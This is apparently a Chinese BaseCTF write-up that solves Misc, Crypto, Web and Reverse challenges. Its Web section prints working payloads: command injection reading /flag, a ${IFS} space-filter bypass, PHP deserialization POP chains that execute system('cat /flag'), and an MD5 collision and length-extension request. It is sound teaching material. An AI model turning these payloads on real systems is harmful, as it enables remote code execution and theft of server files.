Misc
二维码1-街头小广告
题目
给了一个缺少一个角的二维码
题解
P上右上角的定位点,扫描即可。
反方向的雪
题目
一张图
题解
jpg文件最后多了一些字符串,复制到新文件中,是压缩包反向,同理字符串反向处理一下。
压缩包打开,有个提示The_key_is_n0secr3t
。
一开始以为这个是压缩包密码或者是伪加密,没有解出,后来题目加了提示,密码为6位,直接爆破可得到压缩包密码是123456。
打开得到一个txt,有内容和空白,结合题目雪,用snow加密进行解密,密码是之前的提示,得到flag。
Base?!
题目
hS5VZPaBjN4IU6G2VFqZqNG-tPrJm64NgMKQuEa3nNIBIFbh0MLBZEpF4LqZn
9LpBjLoRjPqEV6Lo+
题解
XXencode解密
ez_crypto
题目
qMfZzunurNTuAdfZxZfZxZrUx2v6x2i0C2u2ngrLyZbKzx0=
题解
BaseCTF开头的内容base64加密后是QmfzZ,可以看出只是大小写反了。
哇!珍德食泥鸭
题解
一个gif,binwalk可以分离出一个压缩包,解压后在document.xml里面可以看见flag。
海上又遇了鲨鱼
题目
怎么又看到网络鲨鱼了?!!
题解
流量包导出FTP-data可以得到一个压缩包。
追踪TCP,在第九个流发现成功登陆所用的密码。
黑丝上的flag
题解
StegSolve看图层即可
Aura 酱的旅行日记 <图寻擂台>
题目
题解
google识图,可以发现是成都自然博物馆
前辈什么的最喜欢了
题解
一个段base64图片,还原之后进行宽高还原,可以看到隐藏的CTF。
Aura 酱的旅行日记 II <图寻擂台>
题目
Aura 钻入了被窝,拍了一张照片,你来猜猜拍摄这张照片时所在的酒店在哪吧。
格式:BaseCTF{xxx省xxx市xxx路xxx号xxx酒店(公寓)}
题解
图中可以看到首东置业
四个字,搜一下发现只有成都和西安有,在成都的首东置业附近搜酒店,排除掉酒店地址与flag格式不太匹配的,而且即然题目给出了(公寓),那大概率就是公寓,多次尝试找到最终结果,四川省成都市吉瑞二路188号成都盛捷高新服务公寓。
Crypto
basic
题目
密码手也需要会pwntools
from Crypto.Util.number import *
import socketserver
import os
import random
import base64
import string
flag = os.getenv('GZCTF_FLAG').encode()
class Task(socketserver.BaseRequestHandler):
def _recvall(self):
BUFF_SIZE = 2048
data = b''
while True:
part = self.request.recv(BUFF_SIZE)
data += part
if len(part) < BUFF_SIZE:
break
return data.strip()
def send(self, msg, newline=True):
try:
if newline:
msg += b'\n'
self.request.sendall(msg)
except:
pass
def recv(self):
return self._recvall()
def handle(self):
printable_chars = string.ascii_letters + string.digits + string.punctuation
optional=[b'A',b'B',b'C',b'D']
for _ in range(100):
secret= ''.join(random.choices(printable_chars, k=16)).encode()
select=random.choice(optional)
self.send(select)
enc=b''
if select==b'A':
enc=base64.b64encode(secret)
elif select==b'B':
enc=secret.hex().encode()
elif select==b'C':
enc=bytes_to_long(secret)
enc=str(enc).encode()
elif select==b'D':
enc=[i for i in secret]
enc=str(enc).encode()
self.send(enc)
client_send=self.recv()
if client_send!=secret:
self.send("\nYou wrong!!!!!")
exit()
self.send(flag)
self.send(b"\nConnection has been closed =.= ")
self.request.close()
class ThreadedServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
pass
class ForkedServer(socketserver.ForkingMixIn, socketserver.TCPServer):
pass
if __name__ == "__main__":
HOST, PORT = '0.0.0.0', 9999
server = ForkedServer((HOST, PORT), Task)
server.allow_reuse_address = True
server.serve_forever()
题解
一个100次的输入输出,给你所用的加密选项和密文,把原文输给他,100次后见flag,直接用代码跑。
flag=""
lllll=1
while 1:
lllll = lllll + 1
print(lllll)
choice = s.recv(1024)
data = s.recv(1024)
print(choice)
print(data)
choice=choice.decode('utf-8')
choice = choice.split('\n')[0]
data = data.decode('utf-8')
data= data.split('\n')[0]
ret=""
print(choice)
print(data)
if choice == 'A':
ret = base64.b64decode(data)
ret = ret + b'\n'
if choice == 'B':
ret = bytes.fromhex(data).decode()
ret = ret.encode('utf-8') + b'\n'
if choice == 'C':
ret = long_to_bytes(int(data))
ret = ret + b'\n'
if choice == 'D':
ret=""
data=data[1:-1]
listd = data.split(',')
for i in listd:
ret+=chr(int(i))
ret=ret.encode('utf-8')+b'\n'
print(ret)
s.sendall(ret)
Web
一起吃豆豆
题目
一个游戏
题解
在index.js里面可以找到Base64的flag。
你听不到我的声音
题目
<?php
highlight_file(__FILE__);
shell_exec($_POST['cmd']);
题解
shell_exec是无回显函数,但是只要输出到文件即可:cat /flag>1.txt
ez_ser
题目
<?php
highlight_file(__FILE__);
error_reporting(0);
class re{
public $chu0;
public function __toString(){
if(!isset($this->chu0)){
return "I can not believes!";
}
$this->chu0->$nononono;
}
}
class web {
public $kw;
public $dt;
public function __wakeup() {
echo "lalalla".$this->kw;
}
public function __destruct() {
echo "ALL Done!";
}
}
class pwn {
public $dusk;
public $over;
public function __get($name) {
if($this->dusk != "gods"){
echo "什么,你竟敢不认可?";
}
$this->over->getflag();
}
}
class Misc {
public $nothing;
public $flag;
public function getflag() {
eval("system('cat /flag');");
}
}
class Crypto {
public function __wakeup() {
echo "happy happy happy!";
}
public function getflag() {
echo "you are over!";
}
}
$ser = $_GET['ser'];
unserialize($ser);
?>
题解
// 用web的wakeup作为入口,eco会调用web.kw触发toString,因此kw是re类
// 会触发chu.nononono
// pwn会调用pwn.over的getflag方法,最终要调用misc的getflag方法,因此pwn.over=misc
// 因此re.chu0是pwn
$a=new Misc();
$b=new pwn();
$b->over=$a;
$c=new re();
$c->chu0=$b;
$d=new web();
$d->kw=$c;
echo serialize($d);
RCEisamazingwithspace
题目
<?php
highlight_file(__FILE__);
$cmd = $_POST['cmd'];
// check if space is present in the command
// use of preg_match to check if space is present in the command
if (preg_match('/\s/', $cmd)) {
echo 'Space not allowed in command';
exit;
}
// execute the command
system($cmd);
题解
一个简单的空格绕过,用${IFS}
替换即可。
Really EZ POP
题目
你已经学会反序列化了,接下来尝试手动构造 POP 链吧!
请注意 PHP 版本为 5.6.40, 反序列化不会忽略成员变量可访问性
<?php
highlight_file(__FILE__);
class Sink
{
private $cmd = 'echo 123;';
public function __toString()
{
eval($this->cmd);
}
}
class Shark
{
private $word = 'Hello, World!';
public function __invoke()
{
echo 'Shark says:' . $this->word;
}
}
class Sea
{
public $animal;
public function __get($name)
{
$sea_ani = $this->animal;
echo 'In a deep deep sea, there is a ' . $sea_ani();
}
}
class Nature
{
public $sea;
public function __destruct()
{
echo $this->sea->see;
}
}
if ($_POST['nature']) {
$nature = unserialize($_POST['nature']);
}
题解
class Sink
{
private $cmd="Hello World";
public function __construct($cmd = null) {
$this->cmd = $cmd;
}
}
class Shark
{
private $word;
public function __construct($word = null) {
$this->word = $word;
}
}
class Sea
{
public $animal;
}
class Nature
{
public $sea;
}
//Sink对象存在toString,可以通过Shark对象的echo触发,shark.word=Sink()
//Shark的echo在invoke里面,通过Sea里面的sea_ani()触发,Sea.animal=Shark()
//Sea要触发的内容在get里面,需要调用不存在变量,通过Nature来触发,Nature.sea=Sea()
$s=new Sink("system('cat /flag');");
$a=new Shark($s);
$b=new Sea();
$b->animal=$a;
$n=new Nature();
$n->sea=$b;
echo serialize($n);
注意private要加%00
数学大师
题目
engwang 的数学特别差, 他的计算器坏掉了, 你能快速帮他完成数学计算题吗?
每一道题目需要在 5 秒内解出, 传入到
$_POST['answer']
中, 解出 50 道即可, 除法取整
本题依赖 session,请在请求时开启 session cookie
题解
import requests
url="http://challenge.basectf.fun:33554"
s = requests.Session()
response = s.get(url)
for i in range(51):
print(response.text)
res=0
prob=response.text.split('second ')[1][:-1]
if prob.find('÷')!= -1:
num=prob.split('÷')
res=int(num[0])//int(num[1])
else:
if prob.find('×') != -1:
num = prob.split('×')
res = int(num[0]) * int(num[1])
else:
res= eval(prob)
print(res)
response = s.post(url, data={'answer': res})
所以你说你懂 MD5?
题目
<?php
session_start();
highlight_file(__FILE__);
// 所以你说你懂 MD5 了?
$apple = $_POST['apple'];
$banana = $_POST['banana'];
if (!($apple !== $banana && md5($apple) === md5($banana))) {
die('加强难度就不会了?');
}
// 什么? 你绕过去了?
// 加大剂量!
// 我要让他成为 string
$apple = (string)$_POST['appple'];
$banana = (string)$_POST['bananana'];
if (!((string)$apple !== (string)$banana && md5((string)$apple) == md5((string)$banana))) {
die('难吗?不难!');
}
// 你还是绕过去了?
// 哦哦哦, 我少了一个等于号
$apple = (string)$_POST['apppple'];
$banana = (string)$_POST['banananana'];
if (!((string)$apple !== (string)$banana && md5((string)$apple) === md5((string)$banana))) {
die('嘻嘻, 不会了? 没看直播回放?');
}
// 你以为这就结束了
if (!isset($_SESSION['random'])) {
$_SESSION['random'] = bin2hex(random_bytes(16)) . bin2hex(random_bytes(16)) . bin2hex(random_bytes(16));
}
// 你想看到 random 的值吗?
// 你不是很懂 MD5 吗? 那我就告诉你他的 MD5 吧
$random = $_SESSION['random'];
echo md5($random);
echo '<br />';
$name = $_POST['name'] ?? 'user';
// check if name ends with 'admin'
if (substr($name, -5) !== 'admin') {
die('不是管理员也来凑热闹?');
}
$md5 = $_POST['md5'];
if (md5($random . $name) !== $md5) {
die('伪造? NO NO NO!');
}
// 认输了, 看样子你真的很懂 MD5
// 那 flag 就给你吧
echo "看样子你真的很懂 MD5";
echo file_get_contents('/flag');
题解
第一层是强相等判断,用数组绕过,第二层是普通相等,用0e截断绕过即可。第三层是强相等,需要md5相同的串,这里提供两个TEXTCOLLBYfGiJUETHQ4hAcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak
和TEXTCOLLBYfGiJUETHQ4hEcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak
。
第四层要用到MD5扩展攻击,题目使用三个随机16位字符串,转16进制后得到一个96位的字符串,作为random
,MD5扩展攻击具体原理不讲,可以使用hashpump进行生成,原md5值已经给出,长度位96,要添加的内容是admin,data字段不输入,使用ctrl+d绕过,得到生成的新串和md5,作为payload传入即可。
POST / HTTP/1.1
Host: challenge.basectf.fun:36719
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=sp548ds1m2tu0j5f3evf70hmuh
Content-Length: 387
apple%5B%5D=240610708&banana%5B%5D=aabC9RqS&bananana=aabC9RqS&appple=240610708&apppple=TEXTCOLLBYfGiJUETHQ4hAcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak&banananana=TEXTCOLLBYfGiJUETHQ4hEcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak&name=%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%03%00%00%00%00%00%00admin&md5=0d9d6f541bc25bf9a8c66f888d282126
Reverse
UPX
题目
啊嘞? 是 UPX?
题解
先用upx -d,发现提示CantUnpackException: file is possibly modified/hacked/protected; take care!
用010editor打开,发现UPX标志位被修改,找到一个正常加壳的程序,对照修改如下位置。
随后可以正常UPX脱壳,放进ida发现是自定义字典的base64,解码即可。
lk
题目
听说你是个二次元,答出所有题就能获得flag了
题解
放到IDA发现是问20个问题,选项就是答案,有的能搜到答案,有的搜不到,搜不到的用暴力尝试,把IDA判断条件的前几个拿进去做校验即可。
for a in [65,66,67,68]:
for b in [65,66,67,68]:
for c in [65,66,67,68]:
for d in [66]:
for e in [68]:
for f in [67]:
for g in [65,66,67,68]:
for h in [65,66,67,68]:
for i in [65]:
for j in [66]:
for k in [66]:
for l in [68]:
for m in [65,66,67,68]:
for n in [65,66,67,68]:
for o in [67]:
for p in [65,66,67,68]:
for q in [65,66,67,68]:
for r in [67]:
for s in [65,66,67,68]:
for t in [67]:
res1=948 * t+ 887 * s+ 410 * r+ 978 * q+ 417 * p+ 908 * o+ 965 * n+ 987 * m+ 141 * l+ 257 * k+ 323 * j+ 931 * i+ 773 * h+ 851 * g+ 758 * f+ 891 * e+ 575 * d+ 616 * c+ 860 * b+ 283 * a
res2 = 938 * t + 490 * s + 920 * r + 50 * q + 568 * p + 68 * o + 35 * n + 708 * m + 938 * l + 718 * k + 589 * j + 954 * i + 974 * h + 62 * g + 580 * f + 80 * e + 111 * d + 151 * c + 421 * b + 148 * a
res3 = 908 * t + 590 * s + 668 * r + 222 * q + 489 * p + 335 * o + 778 * n + 622 * m + 95 * l + 920 * k + 932 * j + 892 * i + 409 * h + 392 * g + 11 * f + 113 * e + 948 * d + 674 * c + 506 * b + 182 * a
if res1 == 913686 and res2 == 630335 and res3 == 707525:
print(chr(a) + chr(b) + chr(
c) + chr(
d) + chr(e) + chr(
f) + chr(g) + chr(
h) + chr(i) + chr(
j) + chr(k) + chr(
l) + chr(m) + chr(
n) + chr(o) + chr(
p) + chr(q) + chr(
r) + chr(s) + chr(
t))
喝杯下午茶
题目
喝杯下午茶放松一下
题解
ida看一下代码,可以找到如下代码块
是一个Xtea的加密算法,改了Delta,按流程使用解密算法即可,代码有点bug,但是也能拼凑出flag。
void decrypt( unsigned int *v, unsigned int *key) {
int v3 = 0x114514*32;
unsigned int v5 = *v;
unsigned int v6 = v[1];
for (int i = 0; i < 32; ++i )
{
v6 -= (key[3] + (v5 >> 5)) ^ (v3 + v5) ^ (key[2] + 16 * v5);
v5 -= (key[1] + (v6 >> 5)) ^ (v3 + v6) ^ (*key + 16 * v6);
v3 -= 0x114514;
}
*v = v5;
v[1] = v6;
printf("%s\n",(char*)v);
}
int main(){
uint32_t v[3]={0x61657478,0x5f73695f,0x0};
uint32_t v1[2]={0x79736165,0x0};
unsigned int v5[12];
v5[0] = 0x11223344;
v5[1] = 0x55667788;
v5[2] = 0x99AABBCC;
v5[3] = 0xDDEEFF11;
unsigned int v6[16];
v6[0] = 0x94B1F1E7;
v6[1] = 0x21D5D352;
v6[2] = 0x5247793D;
v6[3] = 0x040D1C97;
v6[4] = 0xF36E7F74;
v6[5] = 0x9C53F70F;
v6[6] = 0x6AEACFD8;
v6[7] = 0x6F9F06F4;
v6[8] = 0xEAFD9E2E;
v6[9] = 0x32B655F7;
for (int j=0;j<5;j++)
decrypt(&v6[2*j], v5);
return 0;
最简单的编码
题目
真的很简单的编码
题解
用IDA看一下流程,看到下图可知是一种base64。
先是用子函数进行了一下处理。
分别把0与2,1与3传进了下一个子函数,内容我就不放上来了,只是简单的交换位置,所以可知新的码表是:CDABGHEFKLIJOPMNSTQRWXUVabYZefcdijghmnklqropuvstyzwx23016745+/89
。
再看加密函数
与传统base64不同,这里v11,v12,v17分别是第一个字符,第二个字符,第三个字符,然后把这三个字符拼接成v13,后续都通过v13进行加密处理。
如果要解密,首先可以通过密文查表,然后减去a4对应的数字,就可以得到V13,因为二进制存不了那么多位,实际上v7(即密文)里面连续的四个字符给到我们,通过左移0,6,12,18,可以分别得到V13的后6位,6~12位,12~18位,高6位。
随后跟base64一样,8位凑到一起,就可以还原成3个字符,具体代码如下:
mabiao="CDABGHEFKLIJOPMNSTQRWXUVabYZefcdijghmnklqropuvstyzwx23016745+/89"
miwen="TqK1YUSaQryEMHaLMnWhYU+Fe0WPenqhRXahfkV6WE2fa3iRW197Za62eEaD"
mingwen="Bas"
# miwen="YUSa"
flag=""
# miwen=[i for i in miwen]
# print(len(miwen))
i=0
while i<=(len(miwen)-4):
t1=((mabiao.find(miwen[i+3])-4))
t2=((mabiao.find(miwen[i+2])-3))
t3=((mabiao.find(miwen[i+1])-2))
t4=((mabiao.find(miwen[i])-1))
v13=(t4<<18)+(t3<<12)+(t2<<6)+t1
f1=v13>>16
f2=(v13-(f1<<16))>>8
f3=v13-(f1<<16)-(f2<<8)
flag += chr(f1)
flag += chr(f2)
flag += chr(f3)
i=i+4
print(flag)
Ezpy
题目
既是加密也是解密
如果你使用 pyinstxtractor,请在 pyinstxtractor.py
找到 # Skip PYZ extraction if not running under the same python version
然后将它下面五行的 return
注释掉(让 return
不生效)。否则,你运行 pyinstxtractor.py
时使用的 Python 小版本号必须与附件相同。或者,你也可以尝试使用更方便的工具,例如 pydumpck
。
题解
用pydumpck逆向,得到工程源码,主要看Ezpy。
import Key
import sys
def init_Sbox(seed):
k_b = (lambda .0 = None: [ ord(seed[i % len(seed)]) for i in .0 ])(range(256))
s = list(range(256))
j = 0
for i in range(256):
j = (j + s[i] + k_b[i]) % 256
s[i] = s[j]
s[j] = s[i]
return s
def KeyStream(text, Sbox):
s = Sbox.copy()
(i, j) = (0, 0)
k = [
0] * len(text)
for r in range(len(text)):
i = (i + 1) % 256
j = (j + s[i]) % 256
s[i] = s[j]
s[j] = s[i]
t = (s[i] + s[j]) % 256
k[r] = s[t] ^ Key.keykey[r % len(Key.keykey)]
return k
def Encrypt(text, seed):
Sbox = init_Sbox(seed)
key = KeyStream(text, Sbox)
enc = (lambda .0 = None: [ text[i] ^ key[i] for i in .0 ])(range(len(text)))
return bytes(enc)
enc = b'\xe6\xaeC~F\xf2\xe3\xbb\xac\x9a-\x02U\x85p\xeb\x19\xd1\xe4\xc93sG\xb0\xeb1\xb5\x05\x05\xc3\xd7\x00\x18+D\xbc\x0cO\x9em\xf1\xbd'
flag = input('Please input Your flag:')
flag = (lambda .0: [ ord(i) for i in .0 ])(flag)
flag = Encrypt(flag, Key.key)
if flag != enc:
print("It's not flag!")
continue
print('You are right!')
sys.exit(1)
continue
return None
是一个RC4的加密,因为RC4是对称加密,只要知道key就可以用同样的代码解密,这里import了key,在Ezpy\output_2147543\PYZ-00.pyz_extract\Key.pyc.cdc.py
文件里,可以看到key具体的内容。
key = 'yOU_f1nd_m3'
keykey = [
66,
97,
115,
101]
因此构造脚本如下,注意反编译的内容中,关于交换变量的地方编译有错误,而且return的位置不对,需要手动修改一下。
key = "yOU_f1nd_m3"
keykey = [
66,
97,
115,
101]
def init_Sbox(seed):
k_b=[]
for i in range(256):
k_b.append(ord(seed[i % len(seed)]))
s = list(range(256))
j = 0
for i in range(256):
j = (j + s[i] + k_b[i]) % 256
temp=s[i]
s[i] = s[j]
s[j] = temp
return s
def KeyStream(text, Sbox):
s = Sbox.copy()
(i, j) = (0, 0)
k = [
0] * len(text)
for r in range(len(text)):
i = (i + 1) % 256
j = (j + s[i]) % 256
temp=s[i]
s[i] = s[j]
s[j] = temp
t = (s[i] + s[j]) % 256
k[r] = s[t] ^ keykey[r % len(keykey)]
return k
def Encrypt(text, seed):
Sbox = init_Sbox(seed)
key = KeyStream(text, Sbox)
res=[]
for i in range(len(text)):
res.append(text[i] ^ key[i])
return bytes(res)
enc = b'\xe6\xaeC~F\xf2\xe3\xbb\xac\x9a-\x02U\x85p\xeb\x19\xd1\xe4\xc93sG\xb0\xeb1\xb5\x05\x05\xc3\xd7\x00\x18+D\xbc\x0cO\x9em\xf1\xbd'
# flag = input('Please input Your flag:')
# flag = (lambda .0: [ ord(i) for i in .0 ])(flag)
flag = Encrypt(enc, key)
print(flag)
文章评论